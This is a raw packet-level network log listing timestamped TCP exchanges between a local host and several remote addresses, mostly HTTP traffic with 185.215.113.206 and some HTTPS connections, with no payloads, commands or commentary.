Nov 18, 2024 13:29:29.485006094 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.485006094 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.485006094 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.485047102 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.485047102 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.485315084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.485358000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.485364914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.485377073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.485399961 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.485414028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.485461950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.485475063 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.485486031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.485512018 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.485536098 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.558528900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.558576107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.558588982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.558604002 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.558640003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.558640003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.558654070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.558667898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.558712959 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.559253931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.559267044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.559278965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.559318066 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.559357882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.567773104 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.567801952 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.567816019 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.567863941 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:29.567882061 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.567894936 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:29.567936897 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:29.592453957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.592511892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.592528105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.592530966 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.592545033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.592562914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.592562914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.592592001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.592608929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.592642069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.592845917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.592869997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.592885971 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.592885971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.592914104 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.592932940 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.602799892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.602838993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.602854967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.602868080 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.602890968 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.602953911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.602993965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.603019953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.603032112 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.603068113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.603286028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.603349924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.603450060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.603462934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.603487968 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.603493929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.603507996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.603509903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.603527069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.603549957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.603806973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.603823900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.603872061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.603899002 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.603899956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.603915930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.603951931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.603961945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.668787003 CET	443	49787	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.669157028 CET	49787	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.669176102 CET	443	49787	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.670368910 CET	443	49787	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.670706987 CET	49787	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.670883894 CET	443	49787	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.670918941 CET	49787	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.676812887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.676893950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.676907063 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.676950932 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.676966906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.676980019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.676994085 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.677031040 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.677341938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.677390099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.677402020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.677421093 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.677436113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.684925079 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.684950113 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.685028076 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:29.685043097 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.685086012 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:29.710642099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.710675001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.710690022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.710705996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.710741043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.710772038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.710784912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.710798025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.710824966 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.710841894 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.711339951 CET	443	49787	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.711374998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.711385965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.711500883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.716022015 CET	49787	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.720839024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.720900059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.720911980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.720930099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.720942020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.720956087 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.720992088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.721026897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.721067905 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.721110106 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.721244097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.721254110 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.721291065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.721333027 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.721371889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.721420050 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.721429110 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.721441984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.721477032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.721678019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.721733093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.721735954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.721776962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.721858025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.721904993 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.721911907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.721924067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.721966028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.772942066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.773015976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.781721115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.781735897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.781790018 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.781800985 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.797738075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.797754049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.797768116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.797795057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.797811031 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.797889948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.797902107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.797945976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.798213005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.798224926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.798238039 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.798254013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.798290014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.801479101 CET	443	49787	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.801539898 CET	443	49787	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.801646948 CET	49787	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.801665068 CET	443	49787	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.801698923 CET	443	49787	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.801750898 CET	49787	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.802273035 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.802295923 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.802340984 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:29.802349091 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.802395105 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:29.802395105 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:29.803128958 CET	49787	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.803145885 CET	443	49787	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.803534031 CET	49793	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.803560019 CET	443	49793	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.803690910 CET	49793	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.804569960 CET	49793	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.804585934 CET	443	49793	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.831577063 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.831597090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.831610918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.831633091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.831656933 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.831656933 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.831743002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.831756115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.831792116 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.831801891 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.831888914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.831903934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.831916094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.831931114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.831943989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.831962109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.838814974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.838840961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.838854074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.838880062 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.838982105 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.838998079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.839066029 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.839068890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.839081049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.839117050 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.839762926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.839812994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.839827061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.839864016 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.839900017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.839900970 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.839950085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.839962959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.840001106 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.840010881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.840060949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.840097904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.840172052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.840219975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.885242939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.885267973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.885282040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.885325909 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.885361910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.912770033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.912794113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.912806034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.912832975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.912858963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.912980080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.913023949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.913036108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.913049936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.913072109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.913098097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.913398027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.913441896 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.913463116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.913475037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.913512945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.913512945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.919368029 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.919395924 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.919434071 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:29.919450998 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.919503927 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:29.947422981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.947438002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.947451115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.947463989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.947477102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.947491884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.947524071 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.947524071 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.947653055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.947669029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.947707891 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.947726011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.948025942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.956901073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.956973076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.956984997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.956995964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.957113028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.957113028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.957113028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.957164049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.957204103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.957211018 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.957241058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.957396030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.957448006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.957458973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.957539082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.957588911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.957602978 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.957631111 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.957642078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.957654953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.957654953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.957663059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.957693100 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.957739115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.958189011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.958211899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.958223104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.958230019 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.958254099 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.969945908 CET	443	49792	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.971191883 CET	443	49789	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.972923040 CET	443	49788	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.975054026 CET	443	49790	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.977471113 CET	49792	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.977483034 CET	443	49792	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.977530003 CET	443	49791	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.977657080 CET	49789	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.977670908 CET	443	49789	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.977984905 CET	49788	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.977997065 CET	443	49788	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.978089094 CET	49790	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.978096962 CET	443	49790	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.978373051 CET	49791	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.978379965 CET	443	49791	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.978533030 CET	443	49788	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.978560925 CET	443	49792	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.978701115 CET	49792	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.978722095 CET	443	49789	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.978775024 CET	49789	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.979147911 CET	443	49790	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.979199886 CET	49790	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.979438066 CET	443	49791	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.979504108 CET	49791	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.979600906 CET	49788	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.979670048 CET	443	49788	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.979923964 CET	49792	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.980001926 CET	443	49792	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.980879068 CET	49789	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.980950117 CET	443	49789	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.982326984 CET	49790	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.982403994 CET	443	49790	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.982956886 CET	49791	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.983019114 CET	443	49791	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.983347893 CET	49788	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.983473063 CET	49792	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.983484030 CET	443	49792	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.983517885 CET	49789	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.983524084 CET	443	49789	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.983572960 CET	49790	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.983582020 CET	443	49790	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.983712912 CET	49791	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.983726025 CET	443	49791	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.003366947 CET	80	49746	185.215.113.206	192.168.2.8
